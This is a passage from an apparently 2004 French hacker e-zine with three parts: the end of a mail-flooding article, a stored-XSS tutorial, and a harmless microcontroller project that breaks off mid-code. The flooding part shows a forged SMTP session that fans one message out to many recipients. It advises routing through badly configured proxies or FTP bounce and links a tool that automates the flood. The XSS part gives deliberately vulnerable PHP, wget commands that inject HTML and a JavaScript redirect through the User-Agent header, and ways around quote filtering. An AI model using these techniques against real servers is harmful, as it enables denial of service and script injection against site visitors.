4)  Il  est  conseiller  d'envoyer les courriels fautifs via un Proxy HTTP  mal 
    foutu  ou  tout  autre faon dtourn. Une vieille technique me  revient   
    l'esprit, le "almighty FTP BOUNCE".

Voici un exemple d'une session SMTP forg :

-------------------------Connexion tablis au serveur SMTP-----------------------
SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@victime.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM: <test@victime.com>
SERVER << 250 Sender <test@victime.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide1.com>
SERVER << 250 Recipient <test@destination_invalide1.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide2.com>
SERVER << 250 Recipient <test@destination_invalide2.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide3.com>
SERVER << 250 Recipient <test@destination_invalide3.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide4.com>
SERVER << 250 Recipient <test@destination_invalide4.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide5.com>
SERVER << 250 Recipient <test@destination_invalide5.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide6.com>
SERVER << 250 Recipient <test@destination_invalide6.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide7.com>
SERVER << 250 Recipient <test@destination_invalide7.com> Ok

CLIENT >> DATA
SERVER << 354 Ok Send data ending with <CRLF>.<CRLF>
CLIENT >> Subject: this is a flood
CLIENT >> 
CLIENT >> Je ne suis pas un suiveux, je prefere owned  pwned. Je ne suis pas un suiveux, je prefere owned  pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned  pwned. Je ne suis pas un suiveux, je prefere owned  pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned  pwned. Je ne suis pas un suiveux, je prefere owned  pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned  pwned. Je ne suis pas un suiveux, je prefere owned  pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned  pwned. Je ne suis pas un suiveux, je prefere owned  pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned  pwned. Je ne suis pas un suiveux, je prefere owned  pwned.
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection

-------------------------Dconnection--------------------------------------------

Ici j'ai couper dans le nombre de destination et dans la grosseur  du  courriel 
pour pas me faire dire que je fait du remplissage inutile :)

Il vous est peut-tre  venu  a  l'esprit  qu'il serait pratique de connatre le 
nombre  maximum de destinations(copies-carbonnes) qu'un serveur peut permettre. 
Il  suffit tout simplement de se branch sur le serveur normalement, d'envoyer   
plusieurs  "RCPT TO"  suivi  d'un  "DATA"  et  de  2   CRLF suivi d'un "." et   
nouveau  2 CRLF. Si il y a trop de destinations le message ne sera  pas envoyer   
et   un  message  d'erreur  sera retourner. (Stupidement le serveur retourne la 
bonne valeur dans  la majorit des cas.)

En  conclusion,  j'aimerais  parler  des  impacts  possibles de cette technique 
pratiqu  par des gens sans scrupules. Flooder une seule personne peut paratre 
amusant mais il y a vraiment matire pour faire plus, comme anantir le pouvoir 
de transmission de plusieurs serveurs pendant de trs longues heures. Imaginons 
le cas hypothtique  d'un  WORM  qui  utiliserait  cette technique pour flooder 
l'adresse de courriel d'une  organisation  internationale et connue, mme si la 
victime finirait par changer  de  courriel, le  trafic  engendrer  serait d'une 
quantite   colossale   et  difficile      manipuler (Un  beau  calvaire  pour 
l'administrateur). Alors sur cela, ne faite pas les cons et si la tentation est 
trop forte, n'en parlez pas a personne :)


http://mrgibson.no-ip.com/random/blindfire/ 
(aussi disponible sur www.mindkind.org)

		- Petit programme multi plate-forme de mon cru 
		  qui automatise le processus.

Greet to:

	         Nexact, sans qui j'aurais oublier de ressayer cette technique 
             (que j'avais dj utiliser en 2000 sur un serveur intranet) ainsi
              qu'aux lmuriens en migration vers freenode :)



	                                                              __2






.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit respectueux des cultures     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (MADBOY prise 2)                                                      '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<[{N|KeUR}]> slt                                                       ]=--[~~]----|
|      [<init_null> jme demande ce que tu nike                                 ]    \/     | 
       [<[{N|KeUR}]> ta mere, ta soeur et toi aussi                            ]           | 
|      [<init_null> tu magasine pour un kickban?                               ] left blank  
|      [* Wyzeman sets mode: +b *!*@MADMAD1.users.undernet.org                 ] on purpose              
|      [* [{N|KeUR}] was kicked by Wyzeman (J'va t'apprendre un jeu rigolo a   ]           |  
       [grand coup de chaine de velo)                                         ]           | 
       [<init_null> [{N|KeUR}] on @#Interdit @#hacks_World @#pirataeurs        ]           |  
|      [<Wyzeman> fear, on a reveiller une terreur                             ]                
|-[~]-=[(PRIVMSG)<[{N|KeUR}]> 10 seconde, tu me Unban sinon                    ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 
                                                                 




.---+-=[ Advanced Xss Injection              ]=------+---------------------------=[04]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Wyzeman   ]=-|
| //                                                                                       |
| L\:-=[Ak : Le syndrome de la quotes chronique         ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               
           


    Des fois il ne s'agit pas tant de trouver de nouvelle faille que de trouver 
de nouvelle emplois aux anciennes.  Les  failles de type XSS sont trs connu et 
trs documenter il est donc trs rare  aujourd'hui de trouver  une  occasion de 
pouvoir les exploiter, puisque tout  programmeurs  digne de  se nom on adapter 
leurs code en consquence (aprs tout en php un simple  addslash  suffit).  Par 
contre il demeure des variables que la plus par des programmeur ne prennent pas 
la peine de vrifier, c'est le  cas  souvent  des  variable  fourni par apache. 
Combiner avec une certaine dose d'amateurisme dans la configuration de php.ini, 
il devient possible d'injecter du code via toute  variable  fournis  par apache 
qui serais stocker et rutiliser  par  le  script  php  d'un  site  web.  Cette 
technique  peu  par exemple mener a un SQL injection au niveau dun compteur. de 
plus ce type de XSS peu facilement  tre  injecter  via  un  utilitaire  simple 
d'utilisation telle que wget. 



    La  meilleur  faon  d'viter  l'injection  de code via les variables local 
d'apache en php est d'activer  la  protection  magic_quotes qui par default est
dsactiv pour  des  raisons  de  performance !?!?  Evidament  l'autre  methode 
consiste a vrifier  soit  mme  le  contenue  de  chaque  variable avant de la
faire afficher.


     Rien de mieux qu'un exemple bien simple pour matriser  le  concept,  j'ai 
penser rsumer la faille a sont expression la plus simple. une simple  page php 
qui store et affiche le contenu de la variable http_user_agent  a  chaque  fois 
que la page est visiter. 


<?PHP
//store the data
$fp=fopen("user.txt",'a+');
fwrite($fp,$_SERVER['HTTP_USER_AGENT']."\r\n");
fclose($fp);


//show the data
$fp=file("user.txt");
for($x=0;$x<count($fp);$x++)
 {
 echo $fp[$x]."<BR>";
 }
fclose($fp);
?>


nous voici donc avec un exemple de code vulnrable a un XSS  Injection (et  une 
page web qui sert a rien). Si nous visitons cette page anodine  avec un browser 
standard, nous obtenons le rsultat semblable a ceci

Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) 
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) 
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) 


une ligne tant rajouter a chaque fois  que la page  est appeler.  Maintenant, 
essayons d'insrer du code dans cette page. 

bash-2.05b$ wget -U "<BODY bgcolor=black></BODY>" http://mkdwebdev.mindkind.org/shrug.php
--21:03:53--  http://mkdwebdev.mindkind.org/shrug.php
           => `shrug.php.15'
Resolving mkdwebdev.mindkind.org... 66.201.225.100
Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                 ] 249           --.--K/s

21:03:53 (2.37 MB/s) - `shrug.php' saved [249]

bash-2.05b$



maintenant si nous retournons voir avec un  browser  conventionnel on  se  rend 
compte que le background  est  effectivement  rendu  noir.  videment   on  est 
encoreloin   d'avoir   router  une  box,  c'est  pourquoi  on  va  essayer   de   
rendre l'exploitation un peu plus vnneuse. 


wget -U "<IMG SRC=JaVaScRiPt:document.location.replace(&quot;http://www.mindkind.org&quot;)>" mkdwebdev.mindkind.org/shrug.php
--23:13:59--  http://mkdwebdev.mindkind.org/shrug.php
           => `shrug.php.21'
Resolving mkdwebdev.mindkind.org... 66.201.225.100
Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                 ] 809           --.--K/s

23:13:59 (7.72 MB/s) - `shrug.php.21' saved [809]


Si nous retournons a notre browser et feson un refresh  sur la page, nous  nous
retrouvons  maintenant  avec  du  javascript d'excuter.  Mme  si  il vous est 
possible  de passer des < >  afin  de  rajouter  script  ou  code html, la plus 
part vous  interdirons tout de mme les " et ' remplacant les premiers par rien 
et les second en y ajoutant un \ afin  de  le  neutraliser.  Ce  n'est   guerre 
important puisque cette protection a  t depuis pratiquement les tout dbut du
xss bypasser,  il  sufit  d'utiliser  leur  equivalent  html, unicode ou encore 
hexadcimal. Dans cette exemple de bon vieu XSS classique,  c'est  l'quivalent
HTML qui a ete utiliser. Vous  pourrez  retrouver  une  bonne  liste  des   XSS 
standart ralisable, dans l'article spcifique a se sujet publier dans mindkind
par Mindflayr, ou encore vous referez a l'adresse suivante : 

http://www.shocking.com/~rsnake/xss.html


La variable  HTTP_REFERER  peut  aussi tre utiliser de manire malicieuse dans
des conditions relativement semblable a HTTP_USER_AGENT.  Par  contre,  d'autre
variable t'elle que REMOTE_ADDR et REMOTE_HOST sont soumise  a  un  hand  check
de la par de apache,  ce  qui  rend l'injection de code via ces dites variables
totalement impossible. 


                                                                        wyzeman


                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un milieu riche en information         \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<tiotio> peut-on ouvrire un breche sur un logiciel ??                  ]=--[~~]----|
|      [( je dit bien ouvrire et non exploiter ).                              ]    \/     | 
       [<jeru> une foi que t'a trouv to logiciel et une breche ,              ]           | 
|      [tu code ton propre exploit                                             ] Save a   
|      [<tiotio> oui mais je parle po de buffer overflow                       ] mouse, eat              
|      [<tiotio> je parl de provoquer l'ouverture de la breche                 ] a pussy   |  
       [<jeru> c trop technique la                                             ]           | 
       [<jeru> je vois pas                                                     ]           |  
|      [                                                                       ]               
|-[~]-=[                                                                       ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 


.---+-=[ Doomsday device part 1              ]=------+---------------------------=[05]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Qwzykx    ]=-|
| //                                                                                       |
| L\:-=[Ak : eille man ta tu des chips ?                ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               


Soit, bien qu'intressant le monde de l'lectronique ne peut concurrencer  lui 
seul l'attaque des evil  lesbiennes  from Mtl.. Malheureusement  en  temps  que 
Geek et gars qui reste  Qubec, se sujet pour le moins juteux,  et fantaisiste 
ne pourra tre  abord en  profondeur..  et j'en  suis  le premier dsol soyez 
en  sure... Par contre  aprs l'ultime  mystre des lesbiennes affames, de  la 
femme urbaine contemporaine et du continuum espace temps, une touche de navet  
nous  sera  ncessaire  pour  croire que  l'lectronique  vaut encore  la peine  
d'tre dmystifier!!... aprs tout,  qui  sait,  un  jour  peut-tre  la  femme  
bionique ne  sera   plus fiction,  et  ce   jours  tant  entendu, la  paix  sur  
terre  deviendra  ralit,  et  tous   nous  unirons  pour  chanter  notre joie  
  travers le monde entier, un tournevis  la main. :) 

Et bien voici, le fondement de  cet article enfin rvler, rien de moins qu'une 
approche primaire  aux  microcontrleurs.  Whouuu!... phear!!..  en effet,   le 
tout sera plutt pdagogique et progressif....! 

Si l'lectronique fut autre fois un truc complexe avec beaucoup d'imprvue tout  
en tant mythique, et bien  les  temps  ont changs!  Il n'est plus  ncessaire 
de de rusher un max sur un truc qui  n'a pas la possibilit de  foutre de quoi! 
Non la mode est  la  miniaturisation  et la  portabilit.  Certaine  puce sont  
prprogramms,  d'autre  pas,  certaine autre  puise leur  programme, dans  des 
simplifications et ramifications  binaire,  mais  le  joyaux  de  cette  petite 
famille  c'est  bien   sur   les   microcontrleurs   qui   agissent  comme  un  
microprocesseur personnaliser. Il sont composs pour la plus part de registres,  
de mmoires  ainsi que de plusieurs lignes de contrle;)!   Les   modles  sont  
vaste  et  devraient  tres judicieusement choisis selon  la "job" a faire  Par  
contre dans le  cadre  de  notre  "petite"  exprimentation,  nous  utiliserons  
un Atmel  et ce d'une  faon plutt lmentaire!  Mais vous  serez    mme  de  
juger  du lmentaire en question dans les prochaines secondes! 

Le Atmel  AT89S8252 est un microcontrleur comme bin d`autres,  mais  avec  ses 
particularits,  en fait ils en ont tous,  justement,  le tout  dbute  par  en  
savoir un peu  plus  sur la  chip en question,  par exemple son nombre de linge  
configurables, les  possibilits  de  communication,  la  mmoire,  la  vitesse 
etc... En somme tant  de facteurs  qui nous  rappelle qu'on  est encore loin de 
la  fin  de  l'article :)  Le  Atmel  est  un  chip   qui   contient diffrents 
registres, et qui excute son code en assembleur, mais comme l'homo sapiens des 
temps moderne  est  plus apte  communiquer  en  C,  il  est  aussi possible de 
programmer  son  chip de  faon optimis avec un compilateur pour la dite puce!

Avant mme de commencer sur le sujet,  le tweaker  en vous  devrait  dj avoir  
un  minimum de  devices  composant le monde lectronique.. d'ont un multimtre, 
un  planche de  prototype, du fils  (couleur diffrente si possible.. les vieux 
cbles  DB-25 sont tout  indiquer pour ca)  un fer  souder sans ttanos, ainsi 
qu'un reste d'tain!

Material
	- Atmel AT89S8252 microcontrleur
	- Dip socket
	- Led`z (au besoin)
	- Cristal 11 Mhz
	- Condensateur 10pF - 10uF / rsistance 1k-10k
	- Board de test (au besoin)
	- Alimentation lectrique
  - Cable DB-25 de moins de 2m

Avant mme de pouvoir pens  cre une machine infernal  de  la  mort qui  fais  
une job X, il  nous faudra  la  raliser logiquement... En fait le procder est  
plutt simple et tien plus de la recherche que de technique pour expert..  Dans 
notre cas il suffit  de  savoir quelle ligne ira  ou,  que  fera quoi,  comment 
alimenter les circuits en lectricit ou encore comment relier  les diffrentes 
donnes entres elles.

Pour  les  specs  de  la  puce,  un tour chez le fabricant est souvent de mise, 
encore la il faut apprendre  dissocier l'utile du  superflue.. On  cherche  en 
gros  dans cette  tape   quoi servent chacune  des  pattes du chip principal, 
ainsi  que  celle  des  priphriques qui les entours, par exemple un LCD qu'on 
voudrais   interfacer,  un  chip  de  RAM  ou  de Flash  qu'on  voudrait  aussi 
rajouter etc.. La documentation est souvent prsente, mais c'est souvent  nous 
d'muler avec  celle-ci le  moyen  que  nous  allons prendre pour  inter relier  
intelligemment le tout!  Par exemple, notre Atmel AT89S8252  une ligne appeler 
EA.Devant tant d'incertitude on ouvre  une doc qui nous dit que le EA veut dire 
External Adressing, et que quand  il  est    5v  (1  logique)   le   programme  
roule     l'intrieur du microcontrleur, et  quand il est  0v (0 logique) le 
programme roule en mmoire externe,  comme dans  une ROM., RAM, ou  Flash  etc, 
au  fond  y'a  tellement  de  possibilits..  Comme  cette ligne n'est pas trop 
standard sur  les autres pices lectronique,on en conclue que seul ce chip est 
affect    cette variable, ce qui serait  logique car il s'agit d'une fonction 
qui  est  propre au  microcontrleur.  Par contre  le AT89S8252 possde aussi 4
port  de  8  bits  chaque..  c'est  ici que le tout  devient  de  plus  en plus
intressant! Les donnes fournis ou interprter par le AT89S8252  doivent  tre 
reli   un port  de donnes identiques  sur un autre priphrique afin que les 
deux modules reoivent  les mmes  donnes  au  mme  moment.  Donc  sur  notre 
montage il nous faudra valuer grossirement ou positionner les diffrant petit 
signaux.. Comme par  exemple, si  le LCD comporte 8 lignes de data, on pourrait 
trs facilement prvoir  qu'il nous faudra 8 lignes de data aussi sur le  Atmel 
AT89S8252.  En somme voici le plan que  j'ai fait, les dtails vont suivre  la 
suite si besoin est!

Sur la partie  principale [IMG-01] on voit clairement le  microcontrleur ainsi  
que ce qui l'entoure, les  numros  au  dessus  de  chaque lignes indiquent les 
pins du chip, (pour plus  d'infos  sur  les  nomenclatures voir Mindkind #2. On 
voit donc le cristal (ici de 11.059 Mhz), les diffrant ports, soit P0, P1, P2, 
le P3 est  plus  ou moins dfini sur  ce schma,  mais pour vos  projets il est 
tout  de  mme tout    fait  disponible,  noter  aussi que les pin 40 (VCC) et 
20 (GND) sont absente du shma, oubliez  les donc pas.

Sur  la  deuxime  image  [IMG-02]  on voit un schma d'un LCD avec ses pins et 
leurs  signaux  associs. Sur [IMG-03] on peut voir les deux parties prcdents 
inters  relis  entres elles, on voit bien les ports de donnes se diffrencier 
des autres lignes (de contrle ou d'alimentation).

Ces diffrents schmas sont pour vous aider  mieux voir  l'interrelation qu'il 
y a entres les composantes du montage  faire.

Une fois le tout  semi analyser et repens,  on peut passer  la phase suivante  
c'est--dire  placer  les diffrentes pices du circuits ensemble et les relier 
du  mieux qu'on peut en botchant raisonnablement..  Pour se faire  avec  l'aide 
du plan  on  va  d'abord dfinir ou placer nos  pices, question de placer prs 
ce qui n'a pas besoins d'tre loin, et vice versa!. 

Donc au  centre on  placera le  microcontrleur, autour les priphriques etc.. 
comme  par  exemple voici ce que le  montage nous a donner  aprs  la  mise  en 
pratique du plan sur papier de tantt!

[IMG-16] Image du produit fini (sans la puce).

Plutt  basic,  je  sais!  Mais  patience!!..  On a ici mis en place les pices 
essentiels pour que notre microcontrleur puissent  s'auto  suffire;)  n'est-ce 
pas dj la l'essentiel?!!

[IMG-04] On vois les pices dtachs d'ont on aura de besoin.
[IMG-05] Ici  on  pose  le  socket  de  40  pin qui  accueillera  plus  tard le
         microcontrleur, on commence par le "taqu" en place  en  soudant  les 
         extrmits, comme a s'il y a des modifs  faire on est pas obliger de 
         trop sacrer. :)
[IMG-06] Une fois termine.
[IMG-07] En place ensuite le 7805 sur la plaquette (voir Mindkind #2 pour  plus 
         d'infos sur le 7805).
[IMG-08] Vue de dessous des branchements.
[IMG-09] Installation  des  connecteurs,  ici  se  sont  des connecteurs plutt 
         cheap, en fait semblerait que les connecteurs femelles soit  se point 
         rare qu'il n'y en a pas  Qubec, j'ai  donc pris des dip socket de 16 
         pins que j'ai ensuite couper  en deux..  sa marche,  mais y'a srement 
         moyen de trouver mieux...
[IMG-10] Vue de dessous.. On note aussi que les pins d'alimentation sont placer 
         cette fois, en dessous on  voit le fil  du GND (pin 20), sur le dessus  
         on a  le VCC (pin40),  on  note  aussi  que  les pins 29(PSEN)  et  31 
         (EA)  sont  au VCC, car on ne les utilisera pas dans ce petit montage,
         par contre si dans un futur l'occasion  se prsente d'interfacer de la 
         mmoire externe en  utilisant  un bus de  donne,  d'adressage  et  de 
         contrle,ces lignes vont devoir changer !
[IMG-11] Ici  j'ai  rajout  un  interrupteur  normalement  ouvert  (un  bouton 
         poussoir) afin de contrler le signal RESET du microcontrleur, croyez 
         moi avec le temps on apprend  aimer reseter celui-ci avec  un  bouton 
         plutt qu'en gossant avec  l'alimentation  lectrique.
[IMG-12] Vue de dessous du branchement de l'interrupteur sur la ligne de reset. 
         En fait, le VCC va rejoindre  l'interrupteur  qui attend d'tre activ 
         avant   de  laisser  passer  se  5v (VCC)     l a pin  de  reset   du 
         microcontrleur.
[IMG-13] Dbut du  branchement des ports du  Atmel au socket dip 16 pins couper 
         en deux donc 8 pins, qu'on a install tantt, les soudures sont par en 
         dessous car au-dessus y'a  pas mal  de truc qui gene  le placement des 
         fils!
[IMG-14] Opration complter.
[IMG-15] Ici on place des  rsistances  pack  sur  les lignes  de  donnes,  le 
         Atmel n'est pas vraiment fait pour fournir beaucoup d'amprage  sur un 
         niveau logique haut (5v), on est donc mieux de l'utiliser  en  logique  
         inverse.  Ex : 1 logique  = 0  volts..  L'utilisation  de  rsistances 
         pull-up permet  au  microcontrleur  de  voir  un 1 logique lorsque la 
         ligne de donne qui est brancher  la device  contrler est flottante 
         (pas de valeur stable), en fait par ce  procder,  on  s'assure que le 
         chaos   reste  loin  du  montage.. si  la  valeur  est  flottante,  le  
         microcontrleur   verra   un  1  logique  (grce   au  5v  relier  aux 
         rsistances) au lieu d'un truc louche et pas dfini. Et si on commande 
         une 0  logique, la  ligne  ou  est  brancher notre device sera donc de 
         zro volt, car la rsistance prendront  leurs bornes la diffrence de 
         potentiel, en somme le  5v initial cde la place au contrle du Atmel. 
         Dans certain cas par contre, il faudra tenir compte de cette situation  
         lors  de la rdaction de codes..(si la logique est invers).
[IMG-16] Branchement du cristal (ici mon cristal est surface  mount,  mais  y'a 
         tout de mme moyen de le faire fitter.. On branche donc les pins 18 et 
         19  au   cristal,  puis  ensuite  de  ces  connections  on  place  des 
         condensateurs de 20 pF qu'on relie au GND. (voir schma  initial)  Sur 
         cette image, je  rajoute  aussi  un  port  de  programmation  (en fait 
         c'est 4  lignes qui doivent tres  pluguer au  port parallle de votre 
         ordinateur), soit les pins 6-7-8-9.

On  relie  donc  le  port  de  l'imprimante  notre microcontrleur de la faon 
suivante :

ORDI   ---------- Microcontrleur
Lpt.6  (D4) _____ Atmel.9  (RESET)                                                 
Lpt.7  (D5) _____ Atmel.6  (MOSI)                                                  
Lpt.8  (D6) _____ Atmel.8  (SCK)
Lpt.10 (ACk) ____ Atmel.7  (MISO)                                                                                                           
Lpt.25 (GND) ____ Atmel.20 (GND)                                                                                                                  

Utiliser  un cble  DB-25  de  moins  de  2m  par  contre, le signal a tendance 
 pas suivre quand sa dpasse cette distance. J'ai modifier  pour  ma  part  le 
cble en y  rajoutant  un  circuit  simple composer de deux inverseurs logique,
ainsi qu'une couples de rsistances et de condensateur  pour clarifier le tout, 
voici le schma de l'oeuvre :


Lpt.10 (D6)________________________________
                                           |
                                           |
                                  (+5V)    |                   
                          _____     |      |           
Lpt.7 (D5)_______________/|   |\____|      |        
                       +_/| 7 |\___________| 
                       +_/| 4 |\_+ 
             ,_(AD5)_____/| 0 |\_+             
Lpt.8 (D6)_______________/| 6 |\________(AACK)_(Connecteur)_(Atmel.7)
             i     _____+/|___|\__+
             |    |    __/     \__|_____(AD6)__(Connecteur)_(Atmel.8)
             |    |___|___________|         
             |________|_________________(AD5)__(Connecteur)_(Atmel.6)
                      |
Lpt.25 (GND)__________+_________________(GND)__(Connecteur)_(Atmel.20)                  
                                        (+5V)__(Connecteur)_(Atmel.40)  
                                          
                   (+5V)                   
                     |                    
                     |                    
              C1    --- +                    
              10uF  ---                        
                     |                 (+5V)
              R1     |          _____    |        
Lpt.6 (D4)__[ 1k ]___+_________/|   |\___|            
                     |       +_/| 7 |\_          
                     |       +_/| 4 |\_      
                R2  | |    ____/| 0 |\_         
                10K | |   |   _/| 6 |\_         
                     |    |   _/|___|\_            
                   (GND)  |   _/     \_   
                          |  |          
                          |__|__________(AD4)__(Connecteur)_(Atmel.9)
                             |
                           (GND)


   
Ici le signal D4 passe par une rsistance de 1K, avant  d'tre  reli  au 7406. 
On place aussi un condensateur C1 ainsi qu'une autre  rsistance R2  de 10K sur 
le mme signal. Aprs avoir aliment  ces  inverseurs logique (7406) ou (7404), 
avec un voltage  de  5 Volt (qu'on  peut transformer   l'aide d'un simple 7805 
"rgulateur de voltage"). Les signaux (A*) sont simplement le signal amplifi  
la sortie des 7406, en fait en rentrant notre signal original  l'intrieur  de 
celui-ci, on la invers une 1er fois,puis on la rentr une seconde fois dans un 
second inverseur  affin  de  retrouver  notre  niveau  logique  original,  mais
amplifier autour de 4.5-5v, au lieu de 3-3.5v comme il serait   la  sortie  du 
port parallle.Le tout fini donc reli au Atmel (notre microcontrleur),    un 
voltage dcent si il y avait des problmes de ce ct la.

[IMG-17] Cble de programmation,  avec  le  board  que je viens de vous montrer 
         en schma, reli au Atmel. J'utilise ici  un  7805   pour  rgulariser 
         l'alimentation d'environs 20v qui provient du bornier noir. Les petits 
         fils sortent du board et sont  reli au Atmel (soit quatre de donnes, 
         deux d'alimentation)  Ici  j'ai  pas de DB-25,  mais  on  mule plutt 
         bien ou on devrait  le  placer... (au besoin).

Troubble shooting :
Et oui plein de truc tourne croche dans ce  monde pervers, et  ce  montage  n'y 
chappera pas!, si  toute fuck,  respirer  et  analyser vos  signaux,  comme il 
s'agit  ici  d'un  montage  assez  simple,  les  causes  d'erreur seront plutt 
minimal.. enfin a risque de  grandir  au  fur  et    mesure  que  le  montage 
voluera.. encore une fois il est pratique de faire fonctionner le tout section 
par section affin  justement  de  plus y revenir  par  la suite :)

Les bugs classiques :
 - Pluguez la pin 31 du chip (EA) au  5V pour flasher le microcontrleur.
 - Pluguez les cristals (4 - 24MHz) et le 5V au microcontrleur.
 - Pluguez le condensateur et la rsistance au signal RESET.  partie  du bas du 
   montage de tantt (7406 pas obliger).
 - Reliez tout vos signaux de Ground (GND) ensemble.
 - Vrifier que les  pins (6,7,8,9) du  Atmel,  sont  bien  brancher  aux  pins 
   correspondant sur le port d'imprimante.

Bon une fois notre port de programmation en  place on  peut  entreprendre cette 
magnifique  saga  qu'est  le coding sur  un chip... le AT89S8252 comporte 8k de 
mmoire utilisable  l'interne. Se qui veut dire que vous pourrez coder un truc 
de 8k tout au plus...(enfin 8k de donnes en asm pour tre plus prcis, donc si 
vos fichiers en C font plus de 20k il y a  encore de l'espoir!) Le logiciel que 
j'utilise est IAR, il comporte les tools  pour justement programmer et compiler 
votre code, vous pouvez  mme  le  runer  sur  votre ordi!!.. enfin, en mulant 
mentalement les effets... 

IAR  c'est  en  gros  un  compilateur C pour les microcontrleurs, il nous faut 
(dans  notre cas le: IAR Embedded Workbench for 8051) le setter pour programmer 
notre model de Atmel,  avec quelques spcifications. En fait c'est un programme 
qu'on peut srement trouver  un  peu partout...  c'est comme les movies... 

Les settings suivant sont  faire ou sont  vrifier:

 - Copier le fichier lnk8051.xcl du e-zine dans le rpertoire \8051\config
 - Vous  crez  un  projet, New  Project, vous cre un feuille de code que vous 
   saver,...ensuite dans l'onglet Project,  option File,  on ajoute  le .C  que 
   vous avez saver, cut paster le code que j'ai mis plus bas dans cet  article. 
   On a donc un projet avec un source code  l'intrieur, qui ne fait pas grand 
   choses mais quand  mme!.
 - Dans  le  menu  Project/Option  cliquer sur XLINK et dans la section Format,
   cochez l'option Other, dans la partie Output Format  choisissez  mpds-i.  En 
   faisant  ca  vous  allez  sortir  le  code  compil  en un format compatible 
   avec le Atmel. 

Il est  maintenant temps de mettre en pratique quelques notion de programmation 
donc!..compilons le programme suivant .. "ici c'est le temps d'ouvrir IAR et de 
copier le .c suivant :"

--------------------------[Cut here]----------------------------

#include <io_A89.h>        //Description des io pour le AT89S8252.
                           //Place ou sont dfinie les terme du genre
                           //P1, P1.2 etc...
void delay (unsigned int); //Fonction de delay de temps.
void Process1(void);       //Process qu'on va faire excuter par le chip.
void Process2(void);
void Process3(void);
 
void main (void)           //Main :)
{                                                                   
while(1)                   //Boucle sans fin, pratique pour une puce
 {                         //qui fait une tache rptitive.
 Process1();               //Call des process durant son while.
 Process2();
 Process3();
 }
}


/********************Fonction delay***************************
Fonction qui permet d'introduire un dlais de temps dans notre
code, comme le Atmel excute du code rapidement, vraiment
rapidement, cette fonction a souvent comme but de ramener nos 
commandes  un niveau de control ou de perception plus..
humain disons :)
Il s'agit en fait d'un gros compteur ou le Atmel perd du temps
 dcrmenter la valeur de la variable pass en paramtre.
*************************************************************/
void delay (unsigned int compteur) //La fonction resoit un 
{                                  //argument de type int.
while (compteur != 0x0000)         //Boucle de comptage.
   compteur--;
}



/********************Fonction Process1***********************
Le premier process qu'on fait faire  notre Atmel c'est 
simplement un incrment binaire sur le port numro 1.
Une valeur est initialise  zro, puis elle augmente au
fur et  mesure que l'incrment sur la variable passe dans
un while. Le Port 1 a donc sur ses 8 lignes la valeur de la
variable qui s'incrmente.
Ex : 0000 0000
     0000 0001
     0000 0010
     0000 0011
     0000 0100
     0000 0101
     0000 0110
avec entre chaque valeur un dlai de temps qui permet
de voir ces changements, et non une ligne allumer.
************************************************************/
void Process1(void)               
{
unsigned char valeur=0x00;  //Dclaration d'une variable de 8bits.
while (valeur != 0xFF)      //Boucle tant que la variable est pas 
 {                          // 0xFF, ou 256.
 P1=valeur;                 //Le Port 1 du Atmel est gale  la
 delay(6000);               //valeur de la variable.
 valeur++;                  //Call de la fonction de dlais,
 }                          //incrment de la variable.
}



/********************Fonction Process2********************* 
Le deuxime process qu'on fait effectuer au Atmel est une#fresh
sortie de diffrentes valeurs sur le port 3 de celui-ci.
L'effet qui se dactive seulement si la Pin 1 du Atmel (le 
signal P1.0) reoit un niveau logique 1 (5v)  sa pin.

Les diffrentes valeurs hexadcimales active sur le port 3
diffrentes valeurs, ici le but est de faire un simple
effet chaser  la K-2000. Donc en premire on envoie la 
valeur 0x81, ce qui a pour effet de mettre  un le bit
le plus significatif (MSB) ainsi que le moins signifiant#fresh
(LSB). On continue par la suite avec un petit dlai de temps, 
puis on sort la prochaine squence soit 0x42, qui dcale
de une case vers le centre notre effet.. et ainsi de suite..

Tant que personne ne met un niveau logique 1  la P1.0, 
le tout continue  bouger de gauche  droite. Ici
on peu brancher des leds ou encore des transistors au
